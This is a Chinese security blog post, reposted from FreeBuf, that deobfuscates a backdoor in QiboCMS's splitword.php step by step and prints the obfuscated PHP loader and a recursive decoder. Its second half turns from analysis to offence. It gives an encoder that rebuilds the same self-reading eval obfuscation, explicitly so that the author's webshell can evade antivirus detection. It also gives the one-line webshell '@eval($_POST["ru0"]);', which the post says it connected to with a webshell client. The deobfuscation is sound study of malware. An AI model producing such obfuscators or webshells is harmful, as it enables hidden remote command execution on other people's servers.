?

Sep 08 2016

齊博CMS splitword.php后門解密

首頁 » 業界見聞 » 齊博CMS splitword.php后門解密   

 

齊博CMS是一款非常優秀的內容管理系統,但也不得不說其后門事件也層出不窮,本文就解密齊博代碼來看他的后門

Y2hlbmdzaGlzLmMjd=phpinfo();

筆者找了去年某云5月爆出的遠程命令執行漏洞,源碼百度一下,本地測試效果。1.jpg

 

用sublime打開源碼,源碼經過加密壓縮為一行。下面我們將一步步的揭開加密代碼,查看這個命令執行后門到底是怎么一回事

2.jpg

 

找個在線php代碼格式畫工具快速格式化一下http://beta.phpformatter.com/。解密思路:去掉無意義的干擾的代碼,合并運行時才拼湊關鍵字,讓代碼精簡方便閱讀。

3.jpg

去掉error_reporting(0);讓其顯示錯誤報告,解密相關base64編碼。

```php
$l1l1llll1l1l1lll    = __FILE__;//表示文件本身
$lll1111ll1111ll11ll = base64_decode("Zmc2c2JlaHByYTRjb190bmQ=s");
//$lll1111ll1111ll11ll = fg6sbehpra4co_tnd
$ll1ll11111l111lll1  = $lll1111ll1111ll11ll{4} .$lll1111ll1111ll11ll{9} . $lll1111ll1111ll11ll{3} . $lll1111ll1111ll11ll{5};
//echo $ll1ll11111l111lll1;
$ll1ll11111l111lll1 .=$lll1111ll1111ll11ll{2} . $lll1111ll1111ll11ll{10} . $lll1111ll1111ll11ll{13} .$lll1111ll1111ll11ll{16};
$ll1ll11111l111lll1 .=$ll1ll11111l111lll1{3} . $lll1111ll1111ll11ll{11} . $lll1111ll1111ll11ll{12} .$ll1ll11111l111lll1{7} . $lll1111ll1111ll11ll{5};
$ll1ll11lll1l1l1         = $lll1111ll1111ll11ll{0} .$lll1111ll1111ll11ll{12} . $lll1111ll1111ll11ll{7} . $lll1111ll1111ll11ll{5} .$lll1111ll1111ll11ll{15};
$ll1ll11lll1l111         = $lll1111ll1111ll11ll{0} .$lll1111ll1111ll11ll{1} . $lll1111ll1111ll11ll{5} . $lll1111ll1111ll11ll{14};
$ll1ll11lll1l111         = $ll1ll11lll1l111 .$lll1111ll1111ll11ll{3};
$ll1l111lll1l111         = $lll1111ll1111ll11ll{0} .$lll1111ll1111ll11ll{8} . $lll1111ll1111ll11ll{5} . $lll1111ll1111ll11ll{9} .$lll1111ll1111ll11ll{16};
$ll11l111lllllll11111l   = "rb";
$ll11l111lllllll11111ll1 = "exp";
$ll11l111lllllll11111ll1 .="lode";
$l1111llllllll11111l;
 
```


 

上面代碼精簡后

 

$ll1ll11111l111lll1 ="base64_decode";
$ll1ll11lll1l1l1 = "fopen";
$ll1ll11lll1l111 = "fgets";
$ll1l111lll1l111 = "fread";

$ll11l111lllllll11111l   = "rb";
$ll11l111lllllll11111ll1 ="explode";


 

接著解密第一個eval

 

eval($ll1ll11111l111lll1('JGwxbGxsbDExMTFsMTFsMWw9JGxsMWxsMTFsbGwxbDFsMSgkbDFsMWxsbGwxbDFsMWxsbCwkbGwxMWwxMTFsbGxsbGxsMTExMTFsKTskbGwxbDExMWxsbDFsMTExKCRsMWxsbGwxMTExbDExbDFsLDM1NzYpOyRsbGwxMTFsbDExMTFsMTExPSRsbDExbDExMWxsbGxsbGwxMTExMWxsMSgiXHQiLCRsbDFsbDExMTExbDExMWxsbDEoJGxsMWwxMTFsbGwxbDExMSgkbDFsbGxsMTExMWwxMWwxbCwzMjQpKSAgICAgICAgKTsgOzs7OzsgOzsg'));


 

 

base64解碼

$l1llll1111l11l1l=$ll1ll11lll1l1l1($l1l1llll1l1l1lll,$ll11l111lllllll11111l);$ll1l111lll1l111($l1llll1111l11l1l,3576);$lll111ll1111l111=$ll11l111lllllll11111ll1("\t",$ll1ll11111l111lll1($ll1l111lll1l111($l1llll1111l11l1l,324))        ); ;;;;; ;;


 

格式化并替換前面解出的關鍵字

```php

$l1llll1111l11l1l=fopen(__FILE__,"rb");//打開當前文件

fread($l1llll1111l11l1l,3576);//讀取1576長度bytes

$lll111ll1111l111=explode("\t",base64_decode(fread($l1llll1111l11l1l,324))        ); ;;;;; ;;//再讀取324bytes進行base64解碼并分割字符串

```


 

 

 

 

如果這時候你運行修改后的文件試圖解密下面代碼,你會發現提示找不到某某函數。這里fread函數有個特點,當第一次讀取文件的時候從文件頭讀入,第二次讀取的時候會根據上次讀取的位置繼續,所以3576就是php代碼結尾處return;?>,其后324就是base64解碼后字符串拼湊后面的關鍵字,這里我們只要將__FILE__改為源文件就行了。

同理解出后面代碼

 

$l1lllllll11l111l;//base64_decode
$l1ll1lll1l11ll11;//fread
$lll11l1l1ll1l11l;//fopen
$l1ll1lll11l1l11l;//strrev

 

 

我們來到第二個eval

```php

fread($l1llll1111l11l1l,19);//接著先讀取其后的19 bytes

eval(base64_decode(fread($l1llll1111l11l1l,248)));//然后讀取248bytes并解碼

```


 

 

 

之后你會肯定的劇情,程序一直這樣讀文件,解碼,讀文件,解碼,又讀,跟進了幾次過后發現這尼瑪不是坑爹么,擼組經過一陣深刻沉思過后決定,肯定不能手擼啊,寫程序自動跑吧。分析跟進的幾次代碼,發現還是有規律可循的。

//第一次解碼

fread($l1llll1111l11l1l,11);

eval(base64_decode(fread($l1llll1111l11l1l,252)));

 fread($l1llll1111l11l1l,16);//第二次讀取文件解碼

 eval(base64_decode(fread($l1llll1111l11l1l,248)));//循環解碼

可以看到這是個很典型的遞歸調用,但是在什么時候跳出遞歸呢,我們先假裝不知道,至少在之前是的,我們寫個遞歸函數循環解密。

要求

 

1. 要執行一次讀取

2. 正則匹配兩個讀取字節數

3. 將解密數據保存到文件,因為不知道什么時候循環結束

 

```php

function loop_decode($read_str){

         global$l1llll1111l11l1l;

         $str= base64_decode($read_str);

         preg_match_all('([a-zA-Z0-9=+/]+)',$str,$result);//匹配base64編碼

         file_put_contents("bs_out.txt",base64_decode($result[0][2]).PHP_EOL,FILE_APPEND);//保存解碼代碼到文件

         sleep(0.25);

         preg_match_all("(\d+(?=\)))",base64_decode($result[0][2]),$len);//匹配兩個讀取字節數

         //var_dump($len);

         echo$len[0][0]."-->".$len[0][1];

         fread($l1llll1111l11l1l,$len[0][0]);

         loop_decode(fread($l1llll1111l11l1l,$len[0][1]));

}

loop_decode(fread($l1llll1111l11l1l,248));

```

 

 

將上述代碼修改并保存為decode.php,然后命令行下執行。

./php decode.php

運行一陣過后腳本出錯,但我們要的文件已經生成。

 

44.jpg

 

 

 

可以看到101行最后代碼有了變化,替換關鍵字后很直觀的看到

base64_decode(strrev(fread($l1llll1111l11l1l,11508)))fopen($l1llll1111l11l1l);

們在這判斷當字符串存在$l1ll1lll11l1l11l時就停止并保存數據為文件。

 

```php
         if(strpos($decode_str,'$l1ll1lll11l1l11l') !== false){
                  fread($l1llll1111l11l1l,$len[0][0]);
                  //exit(base64_decode(strrev(fread($l1llll1111l11l1l,11508))));
                  file_put_contents("bs_out.txt",base64_decode(strrev(fread($l1llll1111l11l1l,$len[0][1]))));
                  //fopen($l1llll1111l11l1l);
                  exit;
         }
```


 

至此解密完成

 

 

5.jpg

 

 

完整代碼

 

```php
 <?php
$l1llll1111l11l1l=fopen("D:\share\qibo\qb.php","rb");//打開當前文件
fread($l1llll1111l11l1l,3576);//讀取1576長度bytes
$lll111ll1111l111=explode("\t",base64_decode(fread($l1llll1111l11l1l,324))        ); ;;;;; ;;//再讀取324bytes進行base64解碼并分割字符串
 
$l1lllllll11l111l ="base64_decode";
$l1ll1lll1l11ll11 = "fread";
$lll11l1l1ll1l11l = "fopen";
$l1ll1lll11l1l11l = "strrev";
 
fread($l1llll1111l11l1l,19);//接著先讀取其后的19bytes
/*
*我是循環解密函數,雖然寫的有點丑,但是我還是是的。
*@$read_str 解密后第二次讀取的字節數
*/
function loop_decode($read_str){
         global$l1llll1111l11l1l; //全局文件句柄
         preg_match_all('([a-zA-Z0-9=+/]+)',base64_decode($read_str),$result);//匹配base64編碼
         $decode_str= base64_decode($result[0][2]);
         file_put_contents("bs_out.txt",$decode_str.PHP_EOL,FILE_APPEND);//保存解碼代碼到文件
         sleep(0.25);
         preg_match_all("(\d+(?=\)))",$decode_str,$len);//匹配兩個讀取字節數
         //var_dump($len);
         //如果解碼后字符串包含$l1ll1lll11l1l11l則保存并退出
         if(strpos($decode_str,'$l1ll1lll11l1l11l') !== false){
                  fread($l1llll1111l11l1l,$len[0][0]);
                  //exit(base64_decode(strrev(fread($l1llll1111l11l1l,11508))));
                  file_put_contents("bs_out.txt",base64_decode(strrev(fread($l1llll1111l11l1l,$len[0][1]))));
                  //fopen($l1llll1111l11l1l);
                  exit;
         }
         fread($l1llll1111l11l1l,$len[0][0]);
         loop_decode(fread($l1llll1111l11l1l,$len[0][1]));
}
loop_decode(fread($l1llll1111l11l1l,248));
```


 

 

 

解密基本完成,這是個很有趣卻沒有卵用的混淆方式,既然都解密了,我們按思路寫個加密程序吧,以后我的一句話就靠它免殺了。

通過上面的分析我們知道真正的代碼數據是在11508 byte處,由于fread的特性,我們可以直接跳過讀取前面無用的字節,直接跳到11508前面。下面我們將正則匹配到的每次讀取的字節數進行相加,然后輸出最后的內容。

6.jpg

 

 

 

可以看到每次會有一個10字節左右只是為了移位的無用fread(),在初始化參數過后代碼便開始循環的讀取解碼執行。

3576+324+19+248+11+252+16+248+17+244+…+19+11508+data

經過分析得知,10字節的讀取是沒有啥用的,所以為了方便理解,我在代碼中就去除了。你會發現每次后面執行的代碼不一樣,這是為什么呢?只解碼第一次你會發現原來只是些起占位和干擾的;和空格,我反正完全不知道有啥用,不知道你知不知道,但是我也這么做了。

 

7.jpg

 

 

 

 

 

 在解碼中我們知道每次前面讀取的字節數是后面字符的字節數,但是我們是知道最后加密代碼的長度的,所以我們又從后面開始遞歸調用填充前面的字節數。結束循環后加入初始化頭代碼,頭代碼中也包含了本頭的字節數,坑爹啊,不想再折騰了,于是我默認了為126字節,這樣做可能會存在問題。

 

<?php$f=fopen(__FILE__,"rb");fseek($f,126);eval(base64_decode('ZXZhbChiYXNlNjRfZGVjb2RlKGZyZWFkKCRmLDEwMykpKTs='));return;?>

 

 

整個代碼如下

 

<?php

$data = base64_encode('echo"hello,ruo.";'); //ZWNobyAiaGVsbG8scnVvLiI7

$f =fopen("D:/test.dat","rb");

$arr = array();

$i = 101;


/*
*我是生成隨機個;和空格函數,我不知道這有什么用。
*
*/

function create_randstr(){

         $arr=range(2,8);

         $s= "";

         shuffle($arr);

         $str= " ;";

         $len= strlen($str)-1;

   for($i=0 ;$i < $arr[0]; $i++){

       $s .= $str[rand(0,$len)];

    }

   return $s;

}

/*
*我是加密函數
*@$datalen 第一次傳入的參數是你要加密的代碼的長度哦
*/

function loop_encode($datalen){

         //$datalen是后一次的長度,前面的需要再計算

         global$f,$i,$arr,$data;

         $i--;

         $be= base64_encode('eval(base64_decode(fread($f,'.$datalen.')));');

         $rs= ";eval(base64_decode('".$be."'));".create_randstr();//加入隨機干擾分號

         $write_in= rtrim(base64_encode($rs), '=');

         array_push($arr,$write_in);

         if($i< 0){

                  $be= base64_encode('eval(base64_decode(fread($f,'.strlen(end($arr)).')));');

                  array_push($arr,'<?php$f=fopen(__FILE__,"rb");fseek($f,126);eval(base64_decode(\''.$be.'\'));return;?>');//寫入初始化,默認前面為126字節

                  $arr= array_reverse($arr);//翻轉數組

                  array_push($arr,$data);//加入數據

                  print_r($arr);

                  fwrite($f,implode("",$arr));

                  returnstrlen($arr[1]);

         }else{

                  returnloop_encode(strlen($write_in));

         }

}

echo loop_encode(strlen($data));

fclose($f);

?>

 

于是乎我寫了個一句話進去,菜刀連接效果不錯。

 

@eval($_POST["ru0"]);

 

 

總結

1. 解密起來起來其實很簡單,多次的循環跟進到最后一步,這算不算真正的代碼加密吧。

2. 原本加密程序不知道是怎么寫的,應該在此基礎上引入外部一個key,當key正確時才能解密出源碼來。

3. 未找到傳說中的../hack/upgrade/admin.php,不能橫向對比。

4. 其實中途很多坑,只能怪擼主太蠢。每次會讀取的10幾字節不知道有沒有彩蛋,目測沒發現,擼主表示已經手殘。

5. 初來咋到,與君共勉,不喜勿噴。

*本文作者:ruo,轉載須注明來自FreeBuf(FreeBuf.COM)

 

 

 

 

 

 

 

如果您喜歡本博客,歡迎點擊圖片定訂閱到郵箱填寫您的郵件地址,訂閱我們的精彩內容:

正文部分到此結束

文章標簽: 后門解密

版權聲明:若無特殊注明,本文皆為( mOon )原創,轉載請保留文章出處。

也許喜歡: «GitHub上10個最受歡迎的安全項目 | Python勒索軟件來襲,國產殺軟集體失身»

你腫么看?

你還可以輸入 250/250 個字

? 微笑 大笑 拽 大哭 親親 流汗 噴血 奸笑 囧 不爽 暈 示愛 害羞 吃驚 驚嘆 愛你 嚇死了 呵呵

評論信息框

這篇文章還沒有收到評論,趕緊來搶沙發吧~

?
?
河北11选5开奖